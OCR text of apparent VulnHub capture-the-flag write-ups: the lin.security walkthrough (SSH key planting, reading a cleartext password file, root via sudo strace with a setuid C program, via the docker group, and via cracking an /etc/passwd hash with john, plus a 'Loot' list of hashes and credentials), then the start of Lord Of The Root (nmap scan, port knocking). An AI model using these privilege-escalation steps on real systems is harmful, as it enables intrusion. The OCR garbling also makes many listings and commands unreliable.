drwx=-=-=-=-=-- 2 peter 10685 4896 Jul 1@ 2018 .cache
-rw-rw-r-- 1 peter 1865 @ Jul 108 2018 .cloud-locale-test.skip
drwx-=-=--~-- 3 peter 10685 4896 Jul 1@ 2818 .gnupg

drwxrwxr-x 3 peter 1805 4096 Jul 16 2018 .local
-rw-r--r-- 1 peter 1805 867 Jul 9 2818 .profile
$

Figure 5: writeup.exploitation.steps.1.1



& mkdir .ssh
£ 1s -la

total 36

drwxr-xr-x
drwxr-xr-x
-MwW-r--r--
-wW-r--r--

(=1
=
-3
ke
i
i
i
i
i
i
M= = O

=R
=5 0
£ =
50
o
&
oS
L

drwxrwxr-x 3
-rw-r--r-- 1
drwxr-xr-x 2
$

$

$

$ 1s -1la ../
total 28
drwxr-xr-x
drwxr-xr-x 2
-wW-r--r--
drwxr-xr-x
drwxr-xr-x
-MW-r--r--

$

O W

peter
root

peter
peter
peter
peter
peter
peter
peter
peter

root
root
root
root
peter
root

1085
root
1005
1085
1005
1005
1005
1085
1005
peter

root
root
root
root
1005
root

4096
4096

220
3771
4096

4096
4096

807
4096

4096
4096

391
4096
4096
6902

Oct
Oct
Jul
Jul
Jul
Jul
Jul
Jul
Jul
Oct

Oct
oct
oct
Oct
Oct
Oct

W W w w0

19:39

EET =S

2018 .bash logout
2018 .bashrc

2018 .cache

2018 .cloud-locale-test.skip
2018 .gnupg

2018 .local

2018 .profile

19:39 .ssh

19:40

19:27 ..

19:40 authorized keys
19:28 results

19:39 share

19:34 writeup.yml

Figure 6: writeup.exploitation.steps.1.2



1

$ cp ../authorized keys ./

£ 1s -la

total 4@

drwxr-xr-x 6 peter 1005 4096
drwxr-xr-x 4 root root 4096
-rw-r--r-- 1 peter peter 391
-rw-r--r-- 1 peter 1085 2208
-rw-r--r-- 1 peter 1005 3771
drwx------ 2 peter 1005 4096
-rw-rw-r-- 1 peter 1005 0
drwx------ 3 peter 1005 4096
drwxrwxr-x 3 peter 1085 4096
-rw-r--r-- 1 peter 1085 887
drwxr-xr-x 2 peter peter 4096
$

$

$ mv authorized keys .ssh/

£ 1s -la

total 36

drwxr-xr-x 6 peter 1085 4096
drwxr-xr-x 4 root root 4096
-rw-r--r-- 1 peter 1085 2208
-rw-r--r-- 1 peter 1805 3771
drwx------ 2 peter 1005 4096
-rw-rw-r-- 1 peter 1005 (]
drwx------ 3 peter 1005 4096
drwxrwxr-x 3 peter 1005 4096
-rw-r--r-- 1 peter 100> 807
drwxr-xr-x 2 peter peter 4096
$

$

$ 1s -la .ssh

total 12

drwxr-xr-x 2 peter peter 4096
drwxr-xr-x 6 peter 1085 4096
-rw-r--r-- 1 peter peter 391

$

2. Now we can SSH into the target system as user peter:

ssh peter©192.168.92.186

Oct
Oct
Oct
Jul
Jul
Jul
Jul
Jul
Jul
Jul
Oct

Oct
Oct
Jul
Jul
Jul
Jul
Jul
Jul
Jul
Oct

Oct
Oct
Oct

9 19:40
9 19:40
9 19:40
9 2018
9 2018
16 2018
16 2018
16 2018
le 2018
9 2018
9 19:39
9 2019
9 19:40
9 2018
9 2018
le 2018
16 2018
16 2018
16 2018
9 2018
9 2019
9 19:41
9 19:41
9 19:40

authorized keys

.bash logout

.bashrc

.cache
.cloud-locale-test.skip
.gnupg

.local

.profile

.ssh

.bash logout

.bashrc

.cache
.cloud-locale-test.skip
.gnupg

.local

.profile

.ssh

authorized keys

Figure 7: writeup.exploitation.steps.1.3



root@kali: # ssh peter@l92.168.92.186
The authenticity of host '192.168.92.186 (192.168.92.186)' can't be established.
ECDSA key fingerprint is SHA256:I+wq8xJMlaf4EvelLeaB70dPi90P21x9jU0c]2Cx9ngq.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.92.186' (ECDSA) to the list of known hosts.

LIN.SECURITY

Welcome to lin.security | https://in.security version 1.0

$
:~$ id
uid=1001(peter) gid=1005(peter) groups=1005(peter),999(docker)
gL
% uname -a
Linux linsecurity 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86 64 x86 64 x86 64 GNU/Linux
gL
$ ifconfig
docker®: flags=4899<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:b0:60:8f:7d txqueuelen ® (Ethernet)
RX packets @ bytes @ (0.0 B)
RX errors ® dropped @ overruns @ frame ©
TX packets @ bytes @ (0.0 B)
TX errors © dropped © overruns @ carrier @ collisions ©

ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.92.186 netmask 255.255.255.0 broadcast 192.168.92.255
inet6 feB0::20c:29ff:fe@7:84f@ prefixlen 64 scopeid 0x20<link=>
ether 00:0c:29:07:84:f0 txqueuelen 1000 (Ethernet)
RX packets 124781 bytes 75456965 (75.4 MB)
RX errors ® dropped @ overruns @ frame @
TX packets 99458 bytes 6136016 (6.1 MB)
TX errors © dropped ©® overruns @ carrier ® collisions @

Figure 8: writeup.exploitation.steps.2.1

3. We find an interesting file .secret under user susan’s home directory. This file has the password in cleartext
which we can use to login:

cat /home/susan/.secret
su susan
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peter@linsecurity:

Jhome/bob:
total 72
drwxr-xr-x 4
drwxr-xr-x 5
-rw-r--r-- 1
-rw-r--r-- 1
drwx------ 2
-rw-rw-r-- 1
drwx------ 3
-rw-r--r-- 1
-rw-r--r-- 1
/home/peter:
total 40
drwxr-xr-x 7
drwxr-xr-x 5
-rw-r--r-- 1
-rw-r--r-- 1
drwx------ 2
-rw-rw-r-- 1

oo
5 3
£ £
> XX
5
I E
X
o=
i i

P
[FERN N

drwxrwxr-x
-rW-r--r--
drwxr-xr-x

M= L

Jhome/susan:
total 24

drwxr-xr-x 2
drwxr-xr-x 5
-rw-r--r-- 1
-rw-r--r-- 1
-rw-r--r-- 1
-rw-r--r-- 1

bob
root
bob
bob
bob
bob
bob
bob
root

peter
root

peter
peter
peter
peter
peter
peter
peter
peter
peter

susan
root

susan
susan
susan
susan

~/docker-test$ 1s

bob
root
bob
bob
bob
bob
bob
bob
root 4

peter
root

peter
peter
peter
peter
peter
peter
peter
peter
samba

susan
root

susan
susan
susan
susan

4096
4096
220
3771
4096
2]
4096
807
2322

share

4096
4096
220
3771
8ov
20

Oct 1@
Jul
Apr
Apr
Jul
Jul
Jul
Apr
Oct 1

e I g Vs g e s R O g o

4096
4096

220
3771
4096

4096
4096
4096

ga7v
4096

Jul 1
Jul
Jul
Jul
Jul
Jul

peter@linsecurity:~/docker-test$
peter@linsecurity:~/docker-test$

peter@linsecurity:~/docker-test$ cat

MySuperS3cretValue!
peter@linsecurity:~/docker-test$

-la /home/*
02:26
2018 ..
2018 .bash logout
2018 .bashrc
2018 .cache
2018 .cloud-locale-test.skip
2018 .gnupg
2018 .profile
82:26 .zcompdump
Oct 10 B02:43
Jul 9 2018 ..
Jul 9 20818 .bash logout
Jul 9 2018 .bashrc
Jul 10 2018 .cache
Jul 1@ 2018 .cloud-locale-test.skip
Oct 10 02:46 docker-test
Jul 10 2018 .gnupg
Jul 10 2018 .local
Jul 9 2018 .profile
Dct 10 02:41 .ssh
0 2018
9 2018 ..
9 2018 .bash_ logout
9 2018 .bashrc
9 2818 .profile
9 2018 .secret

/home/susan/.secret

Figure 9: writeup.exploitation.steps.3.1

Phase #2.5: Post Exploitation

peter@linsecurity> id
1uid=1001(peter) gid=1005(peter) groups=1005(peter),999(docker)

peterClinsecurity>

peterClinsecurity> uname
Linux linsecurity 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 xz86_64
o x86_64 GNU/Linuz
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peterClinsecurity>
peter@linsecurity> ifconfig

ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>

inet 192.168.92.186 mnetmask 255.255.255.0 broadcast 192.168.92.255

inet6 fe80::20c:29ff:fe07:84f0 prefixlen 64
ether 00:0c:29:07:84:f0 txqueuelen 1000 (Ethernet)
RX packets 124781 bytes 75456965 (75.4 MB)
RX errors O dropped O overruns O frame O
TX packets 99458 bytes 6136016 (6.1 MB)

TX errors O dropped O overruns O
peter@linsecurity>
peterClinsecurity> users
bob
peter
susan

carrier O

mtu 1500

scopeid 0x20<1ink>

collisions O



Phase #3: Privilege Escalation

1. We find that the user peter can run strace with elevated privileges. This gives us a option to elevate privileges
by tracing a program that spawns a shell:

nano privesc.c
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash") ;
X
gcc -o privesc privesc.c
sudo strace ./privesc

pete linsecurity:~% sudo -1
Matching Defaults entries for peter on linsecurity:

env reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on linsecurity:
(ALL) NOPASSWD: /fusr/bin/strace

nano privesc.c

FY Ny Ny N e S

peter@linsecurity: cat privesc.c
#include =stdlib.h>
#include <unistd.h>
int main() {
setuid(@);
setgid(@);
system("/bin/bash");

}

peter@linsecuri s -la

total 56

drwxr-xr-x 7 peter peter 4896 Oct 10 ©3:12

drwxr-xr-x 5 root root 4096 Jul 9 2018 ..
-rw-r--r-- 1 peter peter 220 Jul 9 2018 .bash logout
-rw-r--r-- 1 peter peter 3771 Jul 9 2018 .bashrc
drwx------ 2 peter peter 4096 Jul 18 2018 .cache
-rw-rw-r-- 1 peter peter 8 Jul 18 2818 .cloud-locale-test.skip
drwxrwxr-x 2 peter peter 4096 Oct 10 02:46 docker-test
drwx------ 3 peter peter 4096 Jul 10 2018 .gnupg
drwxrwxr-x 3 peter peter 4096 Jul 18 2P18 .local
-rwxrwxr-x 1 peter peter 8384 Oct 10 ©3:12 prives
-TW-rw-r-- 1 peter peter 106 Oct 10 ©3:12 privesc.c
-rw-r--r-- 1 peter peter 8607 Jul 9 2018 .profile
drwxr-xr-x 2 peter sambashare 4896 Oct 10 82:41 .ssh
peter@li urity:~$

Figure 10: writeup.privesc.steps.1.1
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:~$ sudo strace ./privesc
execve("./privesc", ["./privesc"], 0x7ffecd39b2de /* 15 vars */) = @
brk(NULL) = 0x563e2102f000
access("/etc/1ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache”, 0 RDONLY|0 CLOEXEC) = 3
fstat(3, {st _mode=S_IFREG|0644, st size=26254, ...}) =0
mmap (NULL, 26254, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6el7664000
close(3) =0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat (AT_FDCWD, "/1lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\01\0\0\3\0>\0\1\0\0\0\2601\34\2\0\0\0\0\0". .., 832) = 832
fstat(3, {st mode=S IFREG|0755, st size=2030544, ...}) =@
mmap (NULL, 8192, PROT_READ|PROT WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = @x7f6el7662000
mmap (NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 8) = 0x7f6el70530080
mprotect(0x7T6el723a080, 2097152, PROT_NONE) = ©
mmap (0x776e1743a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f6el743a000
mmap (0x7f6e17440000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7T6el7440000
close(3) =0
arch_prctl(ARCH_SET_FS, 0x7f6e176634c8) = 0
mprotect (0x7f6el743a000, 16384, PROT_READ) = ©

mprotect (0x563elfcl2000, 4096, PROT READ) = ©
mprotect (0x7f6el1766b@00, 4096, PROT READ) = ©
munmap (@x7f6e17664000, 26254) =0
setuid(@) =8
setgid(0) =0

5

rt_sigaction(SIGINT, {sa_handler=SIG_IGN,
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = ©
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffc66d41ffc) = 24647
wait4(24647, ~#
i~#
i~# id
uid=0(root) gid=e(root) groups=0(root)
i~
:~# uname -a
Linux linsecurity 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
e

Figure 11: writeup.privesc.steps.1.2

2. We can also elevate privileges using docker since the user peter is already a member of group docker:

mkdir docker-test
cd docker-test
cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
<< EOF
docker build -t my-docker-image .

docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root

» /stuff/sh && chmod a+s /stuff/sh'
./sh

11

a_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f6el7091f20}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8)
rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa mask=[], sa_flags=SA RESTORER, sa_restorer=0x7f6el7091f20}, {sa_handler=SIG DFL, sa_mask=[], sa_flags=e}, 8)

2]



peter@linsecurity:~/docker-test$ cat Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR

peter@linsecurity:~/docker-tests$
peter@linsecurity:~/docker-tests
peter@linsecurity:~/docker-test$ docker build -t my-docker-image .
Sending build context to Docker daemon 2.048kB
Step 1/5 : FROM debian:wheezy
wheezy: Pulling from library/debian
2b15b7abe8b3: Pull complete
Digest: sha256:2259b099d947443e44bbd1c94967c785361af8fd22dT48a08a3942e2d5630849
Status: Downloaded newer image for debian:wheezy
---= 10fcec6d95c4
Step 2/5 : ENV WORKDIR /stuff
---> Running in 31b541d9986b
Removing intermediate container 31b54Td9906b
---= a5217312c204
Step 3/5 : RUN mkdir -p $WORKDIR
---> Running in 2al641344686
Removing intermediate container 2al641344686
---> e26d6b2cPBeb
Step 4/5 : VOLUME [ $WORKDIR ]
---> Running in 7d9d9db57132
Removing intermediate container 7d9d9db57132
---> 68d5ae430cT8
Step 5/5 : WORKDIR $WORKDIR
Removing intermediate container 8f8fb8766b3d
---> 9b987b04361b
Successfully built 9b987b&4361b
successfully tagged my-docker-image:latest
peter@linsecurity:~/docker-test%

Figure 12: writeup.privesc.steps.2.1

peter@linsecurity:~/docker-test$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
= 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh’

Figure 13: writeup.privesc.steps.2.2
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:~/docker-test$ ls -la

total 120

drwxrwxr-x 2 peter peter 4096 Oct 10 02:46

drwxr-xr-x 7 peter peter 4096 Oct 10 02:43

-rw-rw-r-- 1 peter peter 98 Oct 10 02:44 Dockerfile

-rwsr-sr-x 1 root root 106920 Oct 10 02:46 .
:~/docker-test$

‘docker-test$

:~/docker-test$ ./sh

# id

uid=1001(peter) gid=1005(peter) euid=0(root) egid=0(root) groups=0(root),999(docker),1005(peter)

#

# uname -a

Linux linsecurity 4.15.8-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#

#
~/docker-test$
~/docker-test$
~/docker-test$ ./sh

#

# id

uid=1001(peter) gid=1005(peter) euid=0(root) egid=0(root) groups=0(root),999(docker),1005(peter)
#
# whoami
root
#
# ifconfig
dockere: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.8.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 feBO::42:boff:fe60:8f7d prefixlen 64 scopeid Ox20<link>
ether 02:42:b0:60:8f:7d txqueuelen © (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ owverruns 0 frame 0
TX packets 4 bytes 360 (360.0 B)
TX errors @ dropped © overruns @ carrier @ collisions ©

ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.92.186 netmask 255.255.255.@0 broadcast 192.168.92.255
inet6 feBO::20c:29ff:fe0@7:84f0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:84:f0 txqueuelen 1000 (Ethernet)
RX packets 155034 bytes 116588878 (116.5 MB)
RX errors ® dropped @ overruns @ frame ©
TX packets 114531 bytes 7132553 (7.1 MB)
TX errors @ dropped © overruns @ carrier @ collisions ©

Figure 14: writeup.privesc.steps.2.3

3. We find that the user insecurity’s (unsalted) password hash is stored within /etc/passwd. We run a bruteforce
on this hash to get the cleartext password. Since this user has same uid/gid as user root, we get elevated access
on the target system:

cat /etc/passwd

echo "insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh" >passwd

john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt passwd
P@sswOrd (insecurity)

ssh insecurity@192.168.92.186

13



peter@linsecurity:~% cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Sys:xX:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games: fusr/sbin/nologin
man:x:6:12:man: /var/cache/man: fusr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail: /usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:1@:10:uucp: /var/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: fusr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve: /usr/sbin/nologin
syslog:x:102:106: : fhome/syslog: /usr/sbin/nologin
messagebus:x:103:187::/nonexistent: /usr/sbin/nologin
_apt:x:104:65534::/nonexistent: /usr/sbin/nologin
Ixd:x:185:65534::/var/lib/1xd/: /bin/fTalse
uuidd:x:106:110::/run/uuidd: fusr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq, ,,:/var/lib/misc: fusr/sbin/nologin
landscape:x:108:112:: /var/lib/landscape: /usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534: : /run/sshd: fusr/sbin/nologin
bob:x:1000:1004:bob: shome/bob: /bin/bash
statd:x:111:65534::/var/lib/nfs:/usr/sbin/nologin
peter:x:1001:1005:,,,:/home/peter: /bin/bash
insecurity:AzER3pBZh6WZE:8:0::/:/bin/sh
susan:x:1002:1806:,,, : /home/susan: /bin/rbash
peter@linsecurity:~%

Figure 15: writeup.privesc.steps.3.1
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root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl # john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt passwd

Using default input encoding: UTF-8

Loaded 1 password hash (crypt, generic crypt(3) [?/32])

Press 'gq' or Ctrl-C to abort, almost any other key for status

P@ssword (insecurity)

1g 0:00:00:00 DONE (2019-10-09 20:08) 12.50g/s 98400p/s 98400c/s 98400C/s PEssword..caitlinl
Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl #

root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl #

root@kali: ~/toolbox/data/writeups/vulnhub.linsecurityl # ssh insecurity@192.168.92.186
insecurity@l92.168.92.186's password:

LIN.SECURITY

Welcome to lin.security | https://in.security version 1.0

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

# id

uid=08(root) gid=8(root) groups=0(root)

#

# uname -a

Linux linsecurity 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#

Figure 16: writeup.privesc.steps.3.2
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Loot
Hashes

root : $6$aorWKpx j$yOgkudF1ZRbqvSxxUtAYY2/6K/UUSwLobTSz/Pu5/ILvXgq9NibQo/ |

< NQbOriWzp2bTbpNQrijNN1laGjXD.................ve..n.
bob: $6$KkODA. 6 |

< Xha4nl.2p5$jq7qoit214ckULg1ZxcbL5wUz2Ld2ZUa.RYaIMs . LmaOEFGheX9yCXfKy37K0GsHz50FYIQIESo4QXWL. . . . ... ... ..
peter:$6$QpjS4vUG$Zi1KcI7cRB8TIGIA/x7GhQQvIOR0YWG4Jxj/6R583IddU2X/ ]

<~ QTQKNJWzwiByeTELKeypOvS83kPsYITbT......... ...t

susan: $6$50Smm17K$0joeavcuzw4qxDJ2LsD1ablUIrFhycVoIXL3rxN/

< 3921VpQOKLufta5tgMRIh30Gb32IBpSyZ7XvBR6uX. ... ... covviiiiii ot

Credentials

ssh: bob/secr.., susan/MySuperS3cretV..... , insecurity/P@ss....

References

[+] https://www.vulnhub.com/entry/linsecurity-1,244/
[+] https://in.security /lin-security-walkthrough/
[+] https://hackso.me/lin.security-1-walkthrough/
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[VulnHub] Lord Of The Root: 1.0.1

Date: 10/Oct/2019

Categories: oscp, vulnhub, linux
Tags: exploit_ sqli, exploit_ credsreuse, privesc_ kernel overlayfs, privesc__mysql_root, privesc_ mysql udf

Overview
This is a writeup for VulnHub VM Lord Of The Root: 1.0.1. Here are stats for this machine from machinescli:

~ machinescli -t --info lord

# ID Name Rating Difficulty 0S5 0SCPlike Owned TTPs

® & privesc_kernel_overlayfs
privesc_mysql_root
privesc_mysql_udf

f. vulnhub#129 Lord Of The Root: 1.0.1

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/lord-of-the-root-101,129/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_sqli&unscoped_q=exploit_sqli
https://github.com/7h3rAm/writeups/search?q=exploit_credsreuse&unscoped_q=exploit_credsreuse
https://github.com/7h3rAm/writeups/search?q=privesc_kernel_overlayfs&unscoped_q=privesc_kernel_overlayfs
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_root&unscoped_q=privesc_mysql_root
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_udf&unscoped_q=privesc_mysql_udf
https://www.vulnhub.com/entry/lord-of-the-root-101,129/
https://github.com/7h3rAm/machinescli

Lord Of The Root: 1.0.1

1192.168.92.151 |

Y
Phase #1: Enumeration‘

| l

:22/tcp_ ‘1337/tcp‘

) Y . h J :
ssh banner - port knock: 1,2,3 robots.txt

Y
/978345210/index.php

. L .
web login form

Y

Phase #2: Exploitation

Y

sglmap: creds for 5 users

Y

cred reuse for ssh by user smeagol

Y

ssh (smeagol)

. h 4 .
Phase #3: Privilege Escalation

h 4 Y
mysql creds in /var/wwwflogin.php‘ ‘mysql running as root

F L

‘edb: 1518‘ edb: 39166

. Y .
user smeagol gets elevated sudo rights

- ¥ .
sudo su

L i

‘root %

Figure 2: Writeupéoverview.killchain



TTPs

1. 1337/tcp/http/Apache httpd 2.4.7 ((Ubuntu)): exploit_sqli, exploit_ credsreuse, privesc_kernel overlayfs,
privesc_mysql_root, privesc_ mysql_udf


https://github.com/7h3rAm/writeups#exploit_sqli
https://github.com/7h3rAm/writeups#exploit_credsreuse
https://github.com/7h3rAm/writeups#privesc_kernel_overlayfs
https://github.com/7h3rAm/writeups#privesc_mysql_root
https://github.com/7h3rAm/writeups#privesc_mysql_udf
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Thu Oct 10 14:06:38 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolboz/writeups/vulnhub. lordoftheroot101/results/192.168.92.151/scans/_quick_tcp_nmap. tzt

< -0X

s /root/toolboz/writeups/vulnhub. lordoftheroot101/results/192.168.92.151/scans/zml/_quick_tcp_nmap.zml

o 192.168.92.151
Nmap scan report for 192.168.92.151
Host is up, received arp-response (0.00035s latency) .
Scanned at 2019-10-10 14:06:39 PDT for 5s
Not shown: 999 filtered ports
Reason: 999 no-responses

PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| ssh-dss

<~ AAAAB3NzaC1kc3MAAACBAJKVpy1001bGC8nI2MWPTGKXhT6VsZcRnCAjQhqcpe8hlLZ4cXu33YalzgHJF1cmOebDTZNP55kkYx8iQLw

< /eIZSgh+NF13r04rVcNmEMNP+71iXhjGAQAGOcO5vAN+12V12vHdk2YXEO4AM]/VhQxI1AP/5XdiY40I7vDVY6EFGu+
< 4gR+aarZIDjY67jpl//QAAATAvQVESJ00iTImUdaviNImDDFo/8Ttw0Iq90cAwuE3umJ6PSE jcTq5I0DKQ1hHr8Qb |
= /+7Q6+0sumyd60NOIuM9x8sWEx0A1WrcGkZszDzBUb4t jWXd1iHuxYds+

< 9Zjl3esaKbeWbsv97Zf5RPYeUv7cWWxThqbVNehp+fsxAmhMhgw==

| 2048 85:94:6c:87:¢c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)

| ssh-rsa

< AAAAB3NzaClyc2EAAAADAQABAAABAQCZnROvNmnhJVAXLzEz9KbyuNunmOeZLgWAvEXrYL5PQUSn jV6r9quuRtcjxs26JAMkSr2GHO

< /qfN5gorU0ykWv1R3v+4BlubLAR+8v7pFrQnu7IrAbms9f0iiFOnCWs6dugDQ+4rBl+

~ 90WHbJ40s5f9L1akGBpYmuuT9gy7ULabvc6CYZ2+cCFVpkf/s8rc3z30VOWEINOENyXtyvuirQqQ4+

= xLV1yPFpBfmqx1mY1X0eY7qqN99/82Ti9JfNJwjWgINGTYOwWGuWIdYrxAiyL/F9/MPJyb/zEMII2/ne+
< qUrJ1Jkpcl4eJ42UV7THUKUGPZXkb

| 256 f3:cd:aa:1d:05:f2:1e:8¢c:61:87:25:b6:f4:34:45:37 (ECDSA)

| ecdsa-sha2-nistp256

< AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBFoWHADDWVRbA1EQGnCjoMMCx5bROhII5QTITi+
< LGY9kWZQU4Y4D+MJQRoDBVA/ijYLAQ1HvW/MZIpjRCELUON6uU=

| 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIK8+Q9UBY1SuxYmR6fYFAW8Vv22fP15QxiCEfpGk8IV2+
MAC Address: 00:0C:29:97:85:0D (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 10 14:06:44 2019 -- 1 IP address (1 host up) scanned in 5.59 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

# Port Protocol Service Scans

1. 22/tcp  ssh ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux protocol 2.0) ./results/192.168.92.151/scans/tcp_22_ssh_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We just have 1 open port, 22/tcp and start there. Upon connecting we see a banner that hints at port knocking


https://github.com/Tib3rius/AutoRecon
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sequence 1,2,3. We knock on these ports and find a new port, 1337/tcp, open up on the target system:

ssh root@192.168.92.151

I I N_____ \__ YA N \
I I /1 0\ I I _/
I l___/ I \ I I I\
o AN /____l l____I_ 7/
\/ \/ \/
I \/ 0\ ____  ____  ____ | __\_  _____ /_ Il . I/ \__
o __/___  \_  _____ / /o
I < / N/ _\_/ __\I I/ 7/ | Y\ __\ I/ __\/ \ / __ | I /
- _\ | __/ \ I VAR VA
I [\ I C <>) \___I < N NN ___/I I \/ /_/ | I I (
o < >) | N NN /TN
[l N /N____/ N___ >__I_N N___ / A__1 \__IN___ >___I /\____1| l____
o N____/ [/_______ /___| /__I \___ >__I
\/ \/ \/ \/ \/ \/ \/ \/
& \/ \/ \/
Easy as 1,2,3
root@192.168.92.151's password:
knock 192.168.92.151 1,2,3
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlol # ssh root@192.168.92.151
T T
| I A Al [ I o
| L | \ | I | A\
[ | [
\/ A \/
[l P T S P (o e / i
| = ./ Nk N L4 I AL R e W ol | I 7 A | a7 O AR T
I IS I [ T | < | R T A0 O [ I | [t ==) | SO [ ] [
N A o I A - I [ O I e 2 i, R 0 SO A SE [ A [ |
N N/ N/ N \/ N N\ N/ \/ N N/
Easy as 1,2,3
root@192.168.92.151's password:
root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlol #

